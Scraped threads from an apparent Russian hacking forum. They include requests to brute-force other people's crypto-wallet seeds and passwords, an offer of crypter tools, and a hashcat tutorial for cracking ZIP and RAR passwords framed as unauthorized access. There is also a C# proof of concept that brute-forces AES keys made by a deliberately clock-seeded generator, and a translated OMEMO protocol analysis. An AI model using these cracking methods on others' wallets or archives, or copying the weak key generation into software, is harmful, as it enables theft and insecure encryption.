- может улучшить - потому что потребуется сначала потратить время на расшифровку luks'а, а потом еще ломать Vera, т.е. идем на затягивание сроков расшифровки и в какой-то момент времени на это могут просто забить

Прокомментируйте, пожалуйста.

Подбор сидфразы Electrum
ID: 676536fbb4103b69df3737b7
Thread ID: 73275
Created: 2022-09-16T12:53:27+0000
Last Post: 2023-05-01T19:45:07+0000
Author: rokkkkkko
Replies: 6 Views: 3K

Привет, интересует пара вопросов чисто теоретически.

1. Есть какой-то проверенный софт для брутфорса сидфразы от Electrum? У меня есть пароль + несколько слов, но можно и просто по паролю. Насчет того насколько это долго и невозможно - я знаю. Интересует софт.

2. Точно такая же ситуация с Atomic Wallet.

Буду благодарен за конструктивные ответы.

Дам поюзать crypt/decrypt
ID: 676536fbb4103b69df3737ba
Thread ID: 79874
Created: 2023-01-13T07:56:34+0000
Last Post: 2023-04-28T09:11:14+0000
Author: SeverusSnape
Replies: 21 Views: 3K

Доброго времени суток. Дам нескольким опытным товарищам поюзать пару crypt/decrypt с последующим отчетом (будем допиливать).
Сввязь в личку или токс FFE4A536FF71A291099393814C2F40E4D6FD497995B1EAD0B2946F1146D7640CB4D482F3B877

Брутфорс для обывателя
ID: 676536fbb4103b69df3737bd
Thread ID: 84847
Created: 2023-03-30T09:55:21+0000
Last Post: 2023-04-08T16:28:13+0000
Author: sabahulnoor
Prefix: Статья
Replies: 19 Views: 3K

Автор:sabahulnoor
Источник: https://xss.is

Привет! Данная тема создана с целью познакомить пользователей с простейшим брутфорсом и утилитой Hashcat.

Информация и знания собранные тут были получены мной благодаря исследованию открытых ресурсов, форумов, нескольким программистам с индии на ютубе

Brute Force - как ясно из названия, метод атаки на пароли и получения доступа с помощью грубой силы, в данном случае цифровой. В таком случае hacker использует метод перебора всей указанной вами клавиатуры (возможных символов) для взлома паролей.
По сути своей - простая, но надежная тактика для получения несанкционированного доступа к чему-либо.

Собственно мы можем попробовать брутфорсить (атаковать) с помощью нашего мозга, в таком случае мы сидим и думаем какой-же там пароль то? Однако данный метод на удивление до сих пор юзабелен, так как мало людей соблюдает парольный этикет. Для дефолтного пользователя паролем может являться его/её имя, например 'ИВАН123' или день рождения дорогого ему человека, например '17031703'.(17.03.1703 - староват партнёр не находите)

Так же мы можем использовать мозг цифровой, то есть наш ПК, а в качестве источника вариантов - словари, либо перебор всех возможных комбинаций по условленным параметрам. Такой способ определённо более эффективен.

Случай со словарями называeтся dictionary mode/straight mode. Он также известeн как ' брут по слoварю' _.

(Хотя в сути своей брутфорсом не является, и должно называться - АТАКА, в свою очередь BRUTEFORCE - это лишь один из видов подобых АТАК на пароли)_.
В данном случае всё что дeлaет прoграмма это прoчитает строку за строкой из текстового файла (тот самый словарь или 'список слов') и попробовать каждую строку в качестве кандидата на пароль.

Так же сущeствуeт комбинационный способ, или же как он называется официально 'комбинированная атака'. Прикол комбинации в том, что она, как ясно из названия - комбинирует все заданные строки в указаном словаре.

То есть, если в нашем словаре заданны строки:
IVAN
ИВАН
17031703
123

Комбинация сможет превратить их в:
IVAN17031703
IVAN123
IVANИВАН
ИВАНIVAN
И так далее...

Гибридная атака - брутфорс атака + словарь.
Другими словами, у нас есть вся клавиатура для брутфорса (0-9, а-А и т.д.) либо в начале, либо в конце добавляется к каждой строке из словаря.
Например, у нас есть пароли:

IVANivan
ivanIVAN

А конфигурация говорит, что нужно можно добавить к данным строкам ещё 4 переменные впереди, пускай это будут цифры в пространстве от 0 до 9, то на выходе у нас будет:

IVANivan0000
IVANivan0001
IVANivan0002
IVANivan0003
IVANivan..........

И так далее пока условие конфигурации не будет выполнено.

Атака ассоциации - проверяет каждую строку в словаре к одному хэшу. Используется, когда вероятный пароль или компонент пароля уже известен и связан с каждым целевым хэшем. То есть мы можем использовать имя пользователя, имя файла, подсказку или любую другую информацию, которая могла бы повлиять на генерацию пароля для атаки на один конкретный хэш.

Ныне стaвший попyлярным спoсoб - 'Атака по маске'. Суть атаки понять немного сложнее, однако она работает эффективнее обычного брутфорса. Что она делает? Попробует все комбинации из указанных вами возможных символом, но лучше чем дефолтный брутфорс.
Если задуматься, то вероятные варианты которые могут быть кандидатами на роль искомого пароля при брутфорсе могут достигать слишком огромных чисел. Дабы уменьшить количество ключей-кандидатов на пароль до более эффективного мы используем 'Aтаку по маске'.
Представьте, что нам надо н@3бнуть пароль: Ivanivan1
Итак, нам требуется набор символов, который содержит все буквы верхнего регистра, все буквы нижнего регистра и все цифры (mixalpha-numeric). В пароле

  • 9 символов, поэтому нам нужно перебрать 62^9 комбинаций, довольно внушительное число, если посчитать. При атаке по маске мы как бы уже в курсе о том, что люди создают пароли по своему, не как компьютеры. Пароль Ivanivan1 - пароль в котором 1 цифра 8 букв, причём 8 букв это 2 раза повторяющееся имя, а цифра является просто первой что пришла в голову потенциальному Ванечке. Ванечку учили что начинается строка с заглавной буквы, поэтому мы держа это в голове сокращаем варианты. Теперь мы снизили количество вариаций до 522626262610101010. Что является числом намного меньше чем первое.

На основе данной фундаментальной инфoрмaции, была создана утилита HashCat.
HashCat, как заявляют сами создатели - Самая быстрая и продвинутая в мире утилита для восстановления пароля.
Восстановления пароля, не обязательнo своeгo.

Предлагаю попробовать использовать данную штуку для получения доступа к запароленному архиву ZIP и RAR.
Так же мы будем в некоторых моментах использовать некоторые команды из утилиты John the Reaper, просто потому что я так захотел.

Итак мы имеем архив на котором висит пароль. Я задал совершенно случайный пароль по типу password321.
Что нам делать?
Конечно же первым делом мы обязаны получить хэш данного архива.
Открываем терминал в нужной нам директории. Для того чтобы проверить в какой вы директории, достаточно ввести:

pwd
1680177627947.png

Далее, чтобы проверить, лежит ли наш файл в нужном месте, введём команду которая отобразит внутренности директории:

ls -al
1680177870468.png

Как видим - защищенный зип архив на месте.
Далее нам понадобится фишка которая есть в HashCat в последних обновлениях, однако я привык юзать её через программу JohnTheReaper, вводим:

zip2john нужный архив > hashtext.txt (Для меня например удобно в txt файл выводить, поэтому добавлено > text.txt)
1680178174958.png

Чтобы посмотреть внутренности файла, мы можем ввести команду:

cat имяфайла
1680178306727.png

Итак у нас есть хэш. Как вы видите на скриншоте, малыш Джони Потрошитель паролей выдаёт нам дополнительные данные о том откуда именно взят хэш, это можно почистить и оставить только тип нашего архива, то есть
начало $zip2$
конец $/zip2$
остальное protected.zip/protected....для HashCat неюзабельно, только для Джони, поэтому сегодня мы можем это очистить.
Вводим:
vim имяфайлавкоторыйзаписалихэш.txt и подчищаем лишнее.

Теперь, мы наконец можем перейти к собственно, взлому, брутфорсу, называйте как хотите, всё равно никто не соблюдает правил именования данных процессов.

Советую перед любым пробитием пароля, ввести команду:
hashcat --help

Дабы получить подробности об использовании различных функций данной утилиты.
Тут перечисленны все work modes, которые будут использоваться вами для конфигурации атаки на пароль.
1680178963773.png

Самая главная строка в этом всём лежит в самом верху, это наш синтакс:
1680179020158.png
Прежде чем приступить к использованию hashcat, мы должны специфицировать тип хэша, с помощью опции:
-m типхэша
или же
--hash-type типхэша

Типы хеша так же показаны с командой help и выглядят примерно так:
1680179198245.png

Второе на что надо обратить внимание, это Attack mode.
То есть надо указать то каким именно образом мы будем атаковать выбранный нами пароль.
Команда:
-а типатаки
или же
--attack-mode тип атаки
1680179438233.png

Итак, предлагаю подобный простой пароль перебрать с применением типа атаки straight.
Так как хэштип для winZip архива находится под цифрой 13600, я ввожу команду по правилам синтаксиса:

hashcat -a 0 -m 13600 файлсодержащийхэш.txt путь/к/словарю.txt
1680179880342.png

Что мы видим в итоге?
1680179969794.png
Статус - взломан. Это значит, что в словаре уже были нужные строки, чтобы получить искомый пароль.
Искомый пароль записывается в конце взломанного хэша, в моём случае это:
$zip2$....$/zip2$:password321

Теперь к вопросу о RAR архивах.
Различия в процессе только в одном моменте:
Используйте --hash-type относящийся к нужному RAR типу, их есть аж 4 штуки:
RAR3-hp
RAR3-p сжатый
RAR3-p несжатый
RAR5

Для теста я повторил процесс с RAR5 архивом и успешно получил нужный результат:
1680180584222.png

ИТОГ:
Взлом это обширная тема, однако бояться её точно не стоит!

Всем спасибо за внимание, ставьте лайки и оставляйте комментарии, всем пока!

Как лучше сбрутить пароль для metamask ?
ID: 676536fbb4103b69df3737cb
Thread ID: 77548
Created: 2022-12-07T07:51:07+0000
Last Post: 2023-02-12T12:13:54+0000
Author: Carbon
Replies: 4 Views: 3K

Парни подскажите пжл ,каким способом и софтом лучше сбрутить пароль на входе в metamask?

wallet.dat
ID: 676536fbb4103b69df3737cd
Thread ID: 45936
Created: 2020-12-23T20:26:46+0000
Last Post: 2023-02-10T15:26:24+0000
Author: cyberatheist
Replies: 3 Views: 3K

Есть пара wallet.dat, пароль потерялся)
Как узнать баланс wallet.dat например btc без пароля?
Для подбора придется кошелек ставить и синхронизировать?
Какой примерно % удачного подбора?
Мануал на эту тему?
Заранее спасибо.

Взлом Metamask
ID: 676536fbb4103b69df3737d0
Thread ID: 76878
Created: 2022-11-28T17:20:54+0000
Last Post: 2023-02-01T20:25:33+0000
Author: whiterabbitrun
Replies: 4 Views: 3K

В поисках человека, способного взломать кош metamask

Breaking AES-256 Encryption
ID: 676536fbb4103b69df3737f5
Thread ID: 64660
Created: 2022-03-22T19:06:59+0000
Last Post: 2022-09-03T13:45:54+0000
Author: samhain
Prefix: Статья
Replies: 16 Views: 3K

This article fits in: Techniques for countering security software.

Really? AES-256 can not be brute forced and that is a fact and security products use it all the time. But look what happens when I run this small POC to crypt and then try to brute force a secret message
crypted with AES-256:

Original message is = My Secret Message!
Random password generated to encrypt the message = UWVVSGDADGSZIEXUGAGXXUKDYVHTDETP
Crypted message using AES-256 = mKOfC5GktNPVmR2kf/kfOGOVrG3bk9xsNqn+BjsF9r8=

Press any key to start brute forcing...

Testing password = MYJFWQBCUHVJQERMZCRSWOYFXNFIZZIQ
Testing password = YRRAKUPPRYCPYRZVOLQISHUWUWJSSEZJ
Testing password = KJZUYXDCOOJVGDHFDVPYPBQNSFNCLJPD
Testing password = XCGPNASPLEQAOQPPSFPOLVLEPOQMEOFW
Testing password = JUOJBDGCHVXGWCXZHPOEIOHVNYUWXTWP
Testing password = WMWDPHUPELEMFPEIWZNUEICMKHYGPYMI
Testing password = IFEYDKJCBCKRNBMSLJNKBBYDIQBQIDDB
Testing password = VXMSSNXPYSRXVOUCBTMAXVUUFZFABITU
Testing password = HPUNGQLCUIYDDACMQDLQUPPLCJIJUOJN
Testing password = TIBHUUAPRZFILNKVFNKGRILCASMTNTAH
Testing password = GAJCIXOCOPMOTZRFUWKWNCGSXBQDFYQA
Testing password = STRWXACPLGTUBLZPJGJMKWCJVLTNYDHT
Testing password = FLZRLERCIWZAJYHZYQICGPYASUXXRIXM
Testing password = RDHLZHFPEMGFSKPJNAISDJTRQDBHKNNF
Testing password = DWOGNKTCBDNLAXXSCKHHZCPINMERDSEY
Testing password = QOWACNIPYTURIJECRUGXWWKZLWIBWXUS
Testing password = CGEUQRWCVKBWQWMMGEGNSQGQIFMLOCLL
Testing password = PZMPEULPSAICYIUWVOFDPJCHFOPUHHBE
Testing password = BRUJTXZBOROIGVCFKXETLDXYDYTEAMRX

...many tests omitted to save space...

Testing password = TBMIFPOOSZEJTCQXCAVBRYYMAIITYCND
Testing password = GTUCTTCBPQLPBPXHRKUROSUDXRMDRHDW
Testing password = SLCXHWQOMGSUJBFRGUUHKLPTVAPNKMUP
Testing password = FEKRWZFBJXZARONBVETXHFLKSKTXDRKI
Testing password = RWSLKCTOGNGGAAVLKOSMDZHBQTXHVWBC
Testing password = DOZGYGHBCDNLINDUZXSCASCSNCAROBRV
Testing password = QHHAMJWOZUTRQZKEOHRSWMYJLLEAHGHO
Testing password = CZPVBMKBWKAXYMSODRQITGUAIVIKALYH
Testing password = PSXPPPZOTBHDGYAYSBPYPZPRGELUTQOA
Testing password = BKFKDTNBPROIOLIHHLPOMTLIDNPELVFT
Testing password = OCNERWBOMIVOWXQRWVOEJMGZAXSOEAVM
Testing password = AVUZGZQBJYCUEKXBMFNUFGCQYGWYXFLG
Testing password = MNCTUDEOGOIZNWFLBPNKCAYHVPAIQKCZ
Testing password = ZFKOIGSBDFPFVJNUQZMAYTTYTYDSJPSS
Testing password = LYSIXJHOZVWLDVVEFILQVNPOQIHCCUJL
Testing password = YQACLMVAWMDQLIDOUSLGRHKFORLLUAZE
Testing password = KJHXZQJNTCKWTUKYJCKWOAGWLAOVNFPX
Testing password = WBPRNTYAQSRCBHSHYMJMKUCNJKSFGKGR
Testing password = JTXMCWMNNJXIJTARNWICHNXEGTWPZPWK
Testing password = VMFGQAAAJZENSFIBCGIRDHTVDCZZSUND
Testing password = IENBEDPNGQLTASQLRQHHABOMBLDJKZDW
Testing password = UWVVSGDADGSZIEXUGAGXXUKDYVHTDETP

Random password initially generated = UWVVSGDADGSZIEXUGAGXXUKDYVHTDETP
Match found in 00:00:00.3239570 seconds. The password is = UWVVSGDADGSZIEXUGAGXXUKDYVHTDETP

The original message is = My Secret Message!
The brute forced message is = My Secret Message!

Press any key to close...

Took less than one second to brute force AES-256. If you want to know why, keep reading...

Let's first examine the facts. What would it take to brute force AES-256. To brute force it, you need to check 2^255 keys which would represent half of the possible combinations in a 256bit password. By checking that
amount of keys you would be covering half of the possibilities and therefore you would have a chance of 50% to guess the right password. A high-end PC can check 2^26 passwords per second. A year contains 31,557,600
seconds. In a year you would be able to test 2,117.8 trillion keys. By dividing 2^255/2,117.8 trillion you get how many years are needed to brute force AES-256, and its
27,337,893,038,406,611,194,430,009,974,922,940,323,611,067,429,756,962,487,493,203 years which is the same as 27 trillion trillion trillion trillion trillion years. If you have access to more computing power then
calculations are different but lead to the same conclusion:

Computing power Average time to crack using exhaustive search

High-end PC 27,337,893,038,406,611,194,430,009,974,922,940,323,611,067,429,756,962,487,493,203 years.
27 trillion trillion trillion trillion trillion years

Fastest supercomputer 27,337,893,038,406,611,194,430,009,974,922,940,323,611,067,429,756,962,487 years.
27,337,893 trillion trillion trillion trillion years

2 billion high-end PCs 13,668,946,519,203,305,597,215,004,987,461,470,161,805,533,714,878,481 years
13,689 trillion trillion trillion trillion years

Age of the universe 15,000,000,000 years
15 billion years

As you can corroborate in the table, its simply not possible. So then how come I did it? If you look at the code (look at end of the article), I am using standard Microsoft Libraries. So what went wrong?
The answer is, I purposely created a poor implementation of AES-256. You would be surprise on how many times security products have flaws in their implementation of these libraries.
On purpose, I used a weak random password generator. The password generator only produces uppercase letters, so instead of having to check 2^255 keys, I only have to check 2^26 possible keys. If I add
lowercase letters then it would be 2^52 keys and if I add numbers still I would be in the range of 2^62 keys. A proper password would have to be created in such a way that all of the 32 bytes could have their
full range of possible values and this of course includes non printable characters. However, in many situations, developers chose to allow only printable characters for their passwords because its easy for the
costumer to type them when requested. If you check on public implementations of AES-256, you won't see much of a difference in a large number of the instances, in regard to the errors I have shown here.
But there is even more to this story, if you run the POC you will notice that it only checks a fraction of the 2^26 possible keys. This means there is a second flaw in the algorithm, one that is worst than
the first one. The random password is also not really random although, again, uses Random Class provided by Microsoft. The problem on using this is that Random Class also is not adequate for the purpose
of creating passwords suitable to be used by AES-256 because the Random Class is seeded using the PC Clock, and the PC clock is predictable. What I have done is simply test every possible seed value
from the PC Clock moving backwards. The clock can only go one way and its forward, so by moving the clock value backward one unit at a time and knowing that Random results are always the same if the seed is the same
then I can guess the password even faster.

Lets see the code:

Code:Copy to clipboard

using System;
using System.Diagnostics;
using System.Text;

namespace BreakAES256
{
    class Program
    {
        public static string Secret = "My Secret Message!"; // Secret message to be crypted and later brute forced
        static void Main()
        {
            var randomPassword = RandomStringGenerator.RandomString(32, Environment.TickCount); // Get a random string and use the PC clock as seed to introduce the flaw
            Console.WriteLine("Original message is = " + Secret);
            Console.WriteLine("Random password generated to encrypt the message = " + randomPassword);
            var crypted = AesCryptoService.Encrypt(Secret, Encoding.ASCII.GetBytes(randomPassword), new byte[]{1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4 }); // Crypt the message
            Console.WriteLine("Crypted message using AES-256 = " + Convert.ToBase64String(crypted) + "\r\n\r\n" + "Press any key to start brute forcing..."); // Show the crypted message
            Console.ReadKey();
            Stopwatch watch = new Stopwatch(); // Measure how long will it take to brute force
            watch.Start();
            for (int i = Environment.TickCount; i > 0; i--) // Check the PC clock in a backward fashion 
            {
                var randomPassword1 = RandomStringGenerator.RandomString(32, i); // Get a password to test
                var decrypted = AesCryptoService.Decrypt(crypted, Encoding.ASCII.GetBytes(randomPassword1), new byte[]{1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4 }); // Try to decode the password
                Console.WriteLine("Testing password = " + randomPassword1); // Print password being tested
                if (decrypted == Secret) // Check if we got a match
                {
                    watch.Stop(); // Stop the clock - a match was found
                    Console.WriteLine("\r\nRandom password initially generated = " + randomPassword); // Show results
                    Console.WriteLine($"Match found in {watch.Elapsed} seconds. The password is = " + randomPassword1);
                    Console.WriteLine("\r\nThe original message is = " + Secret);
                    Console.WriteLine("The brute forced message is = " + decrypted);
                    Console.WriteLine("\r\nPress any key to close...");
                    Console.ReadKey();
                    return;
                }
            }
            Console.WriteLine("No Match found...");
            Console.ReadKey();
        }
    }
}

Unsafe password generator:

Code:Copy to clipboard

using System;
using System.Text;

namespace BreakAES256
{
    internal class RandomStringGenerator
    {
        public static string RandomString(int size, int seed, bool lowerCase = false)
        {
            var random = new Random(seed); // We seed it with the PC clock on purpose
            var builder = new StringBuilder(size);
            var offset = lowerCase ? 'a' : 'A';
            const int lettersOffset = 26; // Only 26 possible letters
            for (var i = 0; i < size; i++)
            {
                var @char = (char)random.Next(offset, offset + lettersOffset);
                builder.Append(@char);
            }
            return lowerCase ? builder.ToString().ToLower() : builder.ToString();
        }
    }
}

Finally, another aspect to keep the algorithm strong is to use a different or even random nonce (iv) for each communication. In this way the attacker has to calculate the password and also the nonce for every key check.
If the password is not long enough, it can be hashed to reach a safe length, in fact, the password is more strong if you add two additional characters than if you triplicate the number of possible values of each one of
the existing characters.
In conclusion, AES-256 is safe if implemented right. There are several sources of errors during its implementation that can be exploited in certain situations to the advantage on an attacker, specially in relation to the
proper selection of a secure password but not only limited to it.

Source code attached.

OMEMO: Отчет по криптографическому анализу
ID: 676536fbb4103b69df373837
Thread ID: 49664
Created: 2021-03-21T11:39:54+0000
Last Post: 2022-01-01T18:33:12+0000
Author: yashechka
Replies: 16 Views: 3K

Протокол OMEMO представляет собой адаптацию Сигнального Протокола, созданного Open Whisper Systems [1]. OMEMO разработан для работы в среде XMPP [26] [28], где пользователи могут иметь несколько устройств, с которыми они хотят общаться друг с другом. Сеанс XMPP может включать несколько серверов вместо одного сервера Open Whisper Systems. Влияние нескольких серверов должно быть минимальным, поскольку доверенный сервер никогда не был частью модели безопасности, которая гарантирует безопасность Сигнального Протокола.

Преобладающую часть этого отчета, анализ безопасности протокола, можно найти в разделе [2], в котором я анализирую полный протокол OMEMO, включая используемый протокол Signal и протокол для передачи зашифрованных файлов. В разделе 3 обсуждаются результаты краткой проверки открытого исходного кода [7] приложения Conversations [9] в качестве эталонной реализации спецификации OMEMO. Наконец, в разделе 4 приводится сводка результатов и мои рекомендации по стандарту OMEMO.

1.1. Терминология

OMEMO - это рекурсивная аббревиатура, обозначающая "OMEMO Multi-End Message and Object Encryption". В этом отчете термин OMEMO относится к протоколу, определенному в его ProtoXEP [29], также называемому OMEMO версии 0.

Чтобы избежать путаницы, Open Whisper Systems совсем недавно [20] изменили название своего протокола с трудно-произносимого "Axolotl", на "Signal Protocol". Старое имя использовалось как для обозначения всего протокола, так и для обозначения только компонента полного протокола. Спецификация OMEMO была создана до этого объявления и использует старые названия. В этом отчете используется новая терминология: "Signal Protocol" относится к полному протоколу, "Тройной Ди-Хеллман" относится к начальному рукопожатию, а "Double Ratche" относится к алгоритму храповика. Я рекомендую обновить их терминологию в спецификации OMEMO.

В этом отчете я буду следовать традиции криптографической литературы именовать конечных пользователей Алисой и Бобом, оставляя за собой имя Ева для обозначения противника. Обратите внимание, что конечные пользователи представляют людей, а не устройство (или несколько устройств), которое они используют.

1.2. Модель атакующего

В разделе 2 OMEMO ProtoXEP перечислены лишь некоторые требования к протоколу. С криптографической точки зрения отсутствуют многие базовые требования, включая базовую триаду ЦРУ[2]. Это не означает, что протокол не соответствует этим требованиям, это просто означает, что спецификация не так ясна, как может и должна быть. Этот раздел призван расширить требования, чтобы перечислить все свойства безопасности, достигаемые OMEMO.

Чтобы утверждать, что протокол безопасен, требуется четко определенная модель злоумышленника, чтобы указать, от чего протокол защищен. Путем определения целей, которые могут быть у злоумышленников, и определения их возможностей, становится ясно, от чего протоколу необходимо защищаться и какие свойства безопасности он должен обеспечивать конечным пользователям.

1.2.1. Цели атакующего

Цели злоумышленника тесно связаны со свойствами безопасности протокола безопасного обмена сообщениями. В таблице 1 перечислены различные цели, которые может преследовать злоумышленник, и соответствующие свойства безопасности, которые протокол должен обеспечивать, чтобы считаться безопасным.

Цель атакующего | Свойство безопасности

Компрометирующие сообщения| Конфиденциальность сообщений
---|---
Измененение отправленного сообщения| Целостность сообщений
Вводь ложных сообщений| Подлинность сообщений
Идентифицикация как другое лицо| Аутентификация партнера по коммуникации
Блокировка связи| Доступность связи
Изучение метаданных связи| Защита конфиденциальности
Доказательство, что было сказано| Отрицание содержания сообщения
Доказательство, что общались два человека| Отрицание разговора
Изучение прошлого общения после компроментации| Прямая секретность
Продление успешной атаки| Будущая секретность

Не каждую атаку можно защитить с помощью безопасного протокола обмена сообщениями. Особенно сложно обеспечить доступность, когда предполагается, что злоумышленник может блокировать сообщения в сети связи. При этом протокол не должен облегчать злоумышленнику блокировку связи.

Чтобы защитить конфиденциальность пользователей, протокол не должен пропускать метаданные об общении пользователей, например о том, с кем они общаются, сколько сообщений они отправили и откуда. Уровни связи ниже протокола безопасного обмена сообщениями могут также привести к утечке этих данных, но они могут быть скрыты с помощью инструментов анонимности, таких как Tor. В этом случае сам протокол не должен раскрывать никаких метаданных.

Чтобы отрицать это, никто не должен иметь возможности предоставить третьей стороне убедительные доказательства прошлых коммуникаций. Отрицание того, что какой-либо разговор когда-либо имел место, является более сильным заявлением, чем просто отрицание точного содержания сообщения.

Прямая секретность [3] и будущая секретность - это свойства, которые обеспечивают некоторый контроль над повреждением в случае взлома устройства или ключа. Прямая секретность гарантирует, что ключи, которые в настоящее время находятся на устройстве, не нарушают прошлый обмен данными, так что влияние компрометации устройства сводится к минимуму. Будущая секретность гарантирует, что злоумышленник, скомпрометировавший ключ в прошлом, не сможет продлевать свою атаку до бесконечности. Это часто достигается путем введения новой случайности в числах, которая должна оставаться неизвестной пассивному противнику.

1.2.2. Возможности злоумышленника

Базовой моделью для злоумышленника является модель Dolev-Yao [5], в которой злоумышленник имеет полный контроль над сетью. Злоумышленник может прослушивать, изменять, вводить и отбрасывать любое сообщение в сети.

Однако у реальных злоумышленников есть возможности, выходящие за рамки контроля сети.Изучая физические свойства реализации, они могут узнать секретную информацию, которая находится на устройстве связи. Это называется атакой по побочному каналу. Взлом устройства также может быть достигнут с помощью низкотехнологичных атак, таких как атака с помощью резинового шланга, или с помощью юридических процедур. Предполагается, что злоумышленник получает информацию по побочным каналам и может получить временный доступ к устройству.

Проблема с некоторыми существующими протоколами заключается в том, что пользователи должны доверять используемому коммуникационному серверу. Открытый характер XMPP позволяет произвольным сторонам, включая злоумышленников, настраивать полнофункциональный сервер XMPP. Но даже если вы доверяете организации, которая управляет сервером, вы можете не доверять правительству страны, в которой расположен сервер, для защиты вашей конфиденциальности. Следовательно, предполагается, что злоумышленник имеет полный контроль над сервером, который используется для связи.

Последняя возможность, которая предоставляется злоумышленнику, - это скомпрометировать самих участников протокола. Когда Алиса общается с Бобом, протокол должен обеспечивать некоторую защиту на случай, если Боб окажется нечестным участником. По сути, протокол должен заставлять Боба играть по правилам.

2. Анализ протокола

Стандарт OMEMO лучше всего описать как протокол-оболочку для протокола Signal. Я проанализирую стандарт, как указано в его ProtoXEP [29], чтобы выяснить, достигает ли он криптографических свойств, которые он утверждает. Кроме того, в этом отчете анализируется протокол OMEMO Encrypted Jingle File Transfer, определенный в ProtoXEP [11].

В Разделе 2.1 я сначала вкратце изучу Signal Protocol, чтобы увидеть, как он достигает своих свойств безопасности. Те, кто уже знаком с Signal Protocol, могут пропустить этот раздел.

После этого в Разделе 2.2 будет полностью проанализировано, как протокол OMEMO использует безопасные сеансы, созданные Signal, для установки сеанса OMEMO между несколькими устройствами двух пользователей.

На момент написания этой последней версией Signal Protocol является версия 3. Это версия, которая используется OMEMO версии 0 и анализируется в этом отчете.

2.1. Протокол Signal

Несмотря на то, что Signal Protocol упоминается в спецификации, нет никаких ссылок на этот протокол.[4] Это не недостаток спецификации OMEMO, потому что нормативной спецификации для Signal Protocol не существует. Библиотека с открытым исходным кодом, которую Open Whisper Systems предоставляет на GitHub [30], представляет собой простую реализацию, и я буду использовать ее в качестве основы для своего анализа Signal Protocol. В дополнение к исходному коду, OWS опубликовал серию сообщений в блогах [18] [17] [16], которые дополнительно разъясняют, как работает их протокол.

Screenshot_2.png

2.1.1. Описание протокола

Упрощенное представление протокола передачи сигналов показано на рисунке 1. На рисунке показано начало разговора между Алисой и Бобом. В этом абстрактном примере участники идентифицируются по имени. На самом деле это будет номер телефона для приложения Signal и адрес XMPP в случае OMEMO.

Обозначение

Используется следующая нотация: KDFs (i) выводит ключ, используя соль s, информационные данные i и постоянную метку, которая уникальна для каждого вычисления KDF на рисунке. Если соль не указана, используется постоянное значение 0. MACk (m) вычисляет тег аутентификации для сообщения m, используя ключ k. enckn (m) вычисляет симметричное шифрование сообщения m, используя ключ k и вектор nonce/инициализации n. Чтобы схема была простой, точное значение обозначения асимметричных ключей зависит от контекста, но это просто. Например: a0 относится ко всей паре ключей при генерации, к закрытому ключу при использовании в вычислении DH и к открытому ключу при отправке в сообщении. В сообщениях отправляются только открытые ключи.

Prekeys

Сначала Боб загружает сгенерированный на стороне клиента ключевой материал на сервер, чтобы с ним могла связаться Алиса. Он отправляет свой долгосрочный идентификационный ключ B, свой подписанный предварительный ключ b0 с соответствующей подписью sigB(b0) и одноразовый предварительный ключ bx. Боб может отключиться на этом этапе, сервер теперь будет действовать как онлайн- кеш для других, которые хотят инициировать разговор с Бобом.

TripleDH

Когда Алиса хочет поговорить с Бобом, она запрашивает кэшированные данные с сервера. Сервер соответствует требованиям, и Алиса может инициировать рукопожатие TripleDH5. Сначала она генерирует свою собственную одноразовую пару ключей a0. Она объединяет ключи, объединяя результаты вычислений DH, и вычисляет s, общий секрет, который инициализирует Double Ratchet. Используя функцию KDF, Алиса вычисляет начальный корневой ключ rk0.
**
DH ratchet**

Алиса обновляет корневой ключ храповика DH. Сначала она генерирует новую пару случайных ключей a1 и выполняет вычисление DH с последним ключом DH, полученным от Боба (первоначально b0). Используя предыдущий корневой ключ rk0 в качестве начального числа для KDF, она вычисляет новый корневой ключ rk1 и новый ключ цепочки отправки ck1,0. На этом этапе Алиса должна удалить старый корневой ключ rk0 и свою предыдущую пару ключей a0, чтобы обеспечить прямую секретность.

Chain ratchet

Алиса извлекает ключ сообщения (mk1,0) и новый ключ цепочки ck1,1 из старого ключа цепочки ck1,0 и удаляет старый ключ цепочки для прямой секретности. Алиса получает три ключа из mk с помощью KDF: ключ шифрования k, ключ аутентификации m и вектор nonce/инициализации n. Она шифрует сообщение с открытым текстом и вычисляет тег аутентификации по (общедоступным) ключам идентификации и зашифрованному тексту. Затем она отправляет Бобу сообщение SignalMessage, состоящее из ее одноразового ключа a1, зашифрованного текста и тега аутентификации. Только с PreKeySignalMessage (первое сообщение) она также будет включать свой первый одноразовый ключ a0 и свой идентификационный ключ A. Боб может использовать ключевой материал из PreKeySignalMessage для инициирования корневого храповика и цепочки храповика, из которого может быть получен ключевой материал для проверки и дешифрования сообщения.

Эта диаграмма также неявно показывает, как продолжается разговор. Каждый раз, когда пользователь отвечает на сообщение, выполняются шаги ниже первой горизонтальной линии: корневой ключ обновляется новым случайным вычислением DH, и инициализируется новый храповик цепочки отправки. Для каждого дополнительного сообщения ключ цепочки отправки обновляется, а новый ключ сообщения используется для шифрования пользовательских сообщений. Обратите внимание, что у обоих пользователей есть один корневой храповик и две цепочки храповика: одна для отправки и одна для приема.

Key verification

Чтобы гарантировать, что атаки типа "злоумышленник посередине" не произошло, Алисе необходимо убедиться, что ключ идентификации, с которым она связалась, действительно принадлежит Бобу. Как они это делают, не имеет значения, если это происходит через аутентифицированный канал, но в протоколе не предполагается PKI. Вместо этого пользователи должны вручную проверить идентификационный ключ "fingerprint" (который является просто полным открытым ключом) другой стороны.

Message counters

Сообщения могут поступать не по порядку и даже после пересылки DH. Таким образом, отправитель сообщения также включает два счетчика: один для того, сколько сообщений было отправлено при текущем храповике, и один для общего количества при предыдущем храповике. С помощью этих счетчиков получатель может точно увидеть, какие сообщения (еще) не поступили, и сохранить только соответствующий ключ сообщения mk. Эти счетчики аутентифицируются тегом, но не зашифрованы.

Multiple prekeys

В реальной ситуации Боб хотел бы, чтобы с ним могли общаться более одного человека, поэтому он загружает на сервер несколько предварительных ключей. В случае приложения Signal Алиса получает от сервера только один разовый предварительный ключ. Когда на сервере заканчиваются предварительные ключи, Алиса может завершить рукопожатие без одноразового предварительного ключа Боба. Это сообщение уменьшило прямую секретность, потому что Боб не может удалить подписанный предварительный ключ b0 сразу после использования. Когда Боб получает сообщение PreKeySignalMessage, он должен отправить на сервер свежий подписанный предварительный ключ, чтобы ключ, кэшируемый на сервере, обновился.

